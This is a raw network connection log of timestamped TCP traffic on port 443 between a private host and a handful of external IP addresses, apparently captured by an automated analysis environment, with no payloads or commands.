Nov 20, 2024 08:12:19.333389044 CET	49718	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.333406925 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.333420038 CET	49718	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.333425999 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.333659887 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.333719015 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.333756924 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.334932089 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.334932089 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.334963083 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.334973097 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.337459087 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.337491035 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.337559938 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.337703943 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.337713957 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.338932037 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.338959932 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.339010954 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.339206934 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.339220047 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.351083994 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.351150036 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.351193905 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.351325035 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.351330996 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.351346016 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.351350069 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.351524115 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.351632118 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.351674080 CET	49717	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.351960897 CET	49717	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.351970911 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.355041981 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.355072975 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.355123997 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.355246067 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.355258942 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.356718063 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.356772900 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.356825113 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.357053041 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.357064009 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.934322119 CET	443	49705	173.222.162.64	192.168.2.6
Nov 20, 2024 08:12:19.934442997 CET	49705	443	192.168.2.6	173.222.162.64
Nov 20, 2024 08:12:19.976572037 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.977722883 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.977751017 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.978267908 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.978274107 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.980530024 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.980854034 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.980881929 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.981184006 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.981189966 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.993727922 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.994144917 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.994167089 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.994623899 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.994630098 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.995073080 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.995544910 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.995569944 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.995800018 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.995805025 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.043761015 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.062457085 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.062524080 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.063083887 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.063098907 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.077748060 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.077836037 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.077897072 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.078063011 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.078087091 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.078102112 CET	49723	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.078108072 CET	443	49723	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.080162048 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.080342054 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.080403090 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.080537081 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.080557108 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.080568075 CET	49722	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.080574989 CET	443	49722	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.084729910 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.084764957 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.084826946 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.084986925 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.085005999 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.096184969 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.096347094 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.096410990 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.096879005 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.096959114 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.097002983 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.097753048 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.097803116 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.097860098 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.098004103 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.098021984 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.098035097 CET	49724	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.098040104 CET	443	49724	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.099097967 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.099121094 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.099134922 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.099140882 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.100212097 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.100230932 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.113272905 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.113313913 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.113390923 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.114183903 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.114217997 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.114272118 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.114407063 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.114423037 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.114490986 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.114507914 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.164211035 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.164280891 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.164340973 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.186290026 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.186325073 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.186336040 CET	49725	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.186342001 CET	443	49725	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.190392017 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.190433025 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.190495014 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.191117048 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.191133022 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.721781015 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.752196074 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.752221107 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.763052940 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.772552967 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.772571087 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.776674032 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.789196014 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.801759958 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.801789999 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.802962065 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.802967072 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.827466011 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.836200953 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.836570024 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.845199108 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.845226049 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.850714922 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.850740910 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.867867947 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.868035078 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.868124962 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.883053064 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.908241987 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.908262014 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.911714077 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.911799908 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.911864996 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.917615891 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.917627096 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.917715073 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.917747021 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.935338020 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.935389042 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.936377048 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.936415911 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.936494112 CET	49726	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.936501980 CET	443	49726	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.950490952 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.950556993 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.950618982 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.956265926 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.956300974 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.956315994 CET	49728	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.956325054 CET	443	49728	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.988408089 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.988512993 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:20.988576889 CET	49727	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:20.988596916 CET	443	49727	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.018976927 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.019067049 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.019124985 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.027460098 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.027509928 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.027733088 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.030714035 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.030956030 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.031011105 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.068300009 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.068300962 CET	49729	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.068341017 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.068346977 CET	443	49729	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.276179075 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.276212931 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.276902914 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.276902914 CET	49730	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.276954889 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.276971102 CET	443	49730	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.289458036 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.289501905 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.289578915 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.290182114 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.290258884 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.290354967 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.291359901 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.291385889 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.291440964 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.291903973 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.291919947 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.292740107 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.292757988 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.292857885 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.292896986 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.302445889 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.302526951 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.302602053 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.302973032 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.303028107 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.401024103 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:21.401067972 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:21.401141882 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:21.402100086 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:21.402116060 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:21.539371967 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:21.539417028 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:21.539499044 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:21.543266058 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:21.543281078 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:21.918632984 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.919194937 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.919214010 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.919660091 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.919663906 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.927459002 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.927944899 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.927962065 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.928451061 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.928456068 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.939374924 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.939798117 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.939826012 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.940298080 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.940303087 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.942706108 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.943238020 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.943249941 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.943809032 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.943814039 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.958090067 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.958570957 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.958584070 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:21.959017038 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:21.959021091 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.010096073 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.010171890 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.011934042 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.011941910 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.012185097 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.018631935 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.018862963 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.018920898 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.019154072 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.019171000 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.019181013 CET	49731	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.019186020 CET	443	49731	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.023837090 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.023890972 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.023968935 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.024203062 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.024214983 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.031263113 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.031332970 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.031379938 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.031538963 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.031552076 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.031563044 CET	49734	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.031569958 CET	443	49734	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.034097910 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.034141064 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.034210920 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.034362078 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.034375906 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.041214943 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.041313887 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.041373968 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.041464090 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.041482925 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.041497946 CET	49733	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.041502953 CET	443	49733	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.044436932 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.044475079 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.044591904 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.044706106 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.044718981 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.046623945 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.046708107 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.046771049 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.046863079 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.046873093 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.046890974 CET	49735	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.046895027 CET	443	49735	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.049120903 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.049154997 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.049232006 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.049351931 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.049365044 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.054893970 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.062959909 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.063047886 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.063108921 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.063334942 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.063355923 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.063368082 CET	49732	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.063374043 CET	443	49732	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.065623045 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.065651894 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.065736055 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.065980911 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.066030979 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.066113949 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.066268921 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.066282034 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.223468065 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.223539114 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:22.226294041 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:22.226304054 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.226526976 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.229042053 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:22.229042053 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:22.229059935 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.229420900 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:22.275329113 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.407010078 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.407252073 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.407360077 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:22.407535076 CET	49736	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:22.407563925 CET	443	49736	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:22.470426083 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.470500946 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.470561981 CET	49737	443	192.168.2.6	188.114.97.3
